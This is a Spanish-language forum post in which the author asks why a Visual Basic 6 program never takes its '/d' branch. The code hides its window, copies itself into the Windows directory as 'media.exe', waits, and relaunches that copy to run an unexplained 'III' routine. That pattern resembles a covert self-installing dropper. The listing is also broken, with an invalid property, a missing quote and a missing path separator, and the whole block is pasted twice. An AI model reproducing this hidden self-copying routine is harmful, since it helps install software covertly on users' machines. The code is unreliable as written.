Autor
1) Cuando se ejecuta por primera vez el programa x.exe (supongamos que esta en el escritorio), este se copia al directorio de windows con el nombre media.exe.
2) Se ejecuta el media.exe desde x.exe con el parametro /d
( Shell (WinDir & "media.exe /d") )
3) Luego que se pregunta si al comando se le paso el /d y hace lo de abajo mostrando alguno de sus msgbox para su caso correspondiente...
Bueno el problema esta en lo ultimo xD.. NUNCA entra en el primer if ( If Command = "/d" Then ....) y el parametro se lo pase /d desde con el shell
Shell (WinDir & "media.exe /d")
el codigo:
Código:
Private Sub Form_Load()
On Error Resume Next
Me.Hide
If Command = "/d" Then
III.Do = True
If III.Ok Then
III.Set "Param", "Int", "300"
MsgBox III.Name & ": ok hecho"
Else
MsgBox III.Name & ": fallo"
End If
End
ElseIf Command = "/e" Then
If III.Kill Then
MsgBox III.Name & ": ok deshecho"
Else
MsgBox III.Name & ": fallo"
End If
End If
If Command <> "" Then
Sleep 20000
Dim directorio As String
directorio = App.directorio
If Right(directorio, 1) <> "\" Then directorio = directorio & "\"
directorio = directorio & App.EXEName & ".exe"
Dim ruta As String
ruta = Environ("WinDir") & "media.exe"
DeleteFile ruta
FileCopy directorio, WinDir & media.exe"
Sleep 20000
Shell (WinDir & "media.exe /d")
End
End If
End sub
On Error Resume Next
Me.Hide
If Command = "/d" Then
III.Do = True
If III.Ok Then
III.Set "Param", "Int", "300"
MsgBox III.Name & ": ok hecho"
Else
MsgBox III.Name & ": fallo"
End If
End
ElseIf Command = "/e" Then
If III.Kill Then
MsgBox III.Name & ": ok deshecho"
Else
MsgBox III.Name & ": fallo"
End If
End If
If Command <> "" Then
Sleep 20000
Dim directorio As String
directorio = App.directorio
If Right(directorio, 1) <> "\" Then directorio = directorio & "\"
directorio = directorio & App.EXEName & ".exe"
Dim ruta As String
ruta = Environ("WinDir") & "media.exe"
DeleteFile ruta
FileCopy directorio, WinDir & media.exe"
Sleep 20000
Shell (WinDir & "media.exe /d")
End
End If
End sub
que estare haciendo mal? ( se entiende la idea? )
En línea
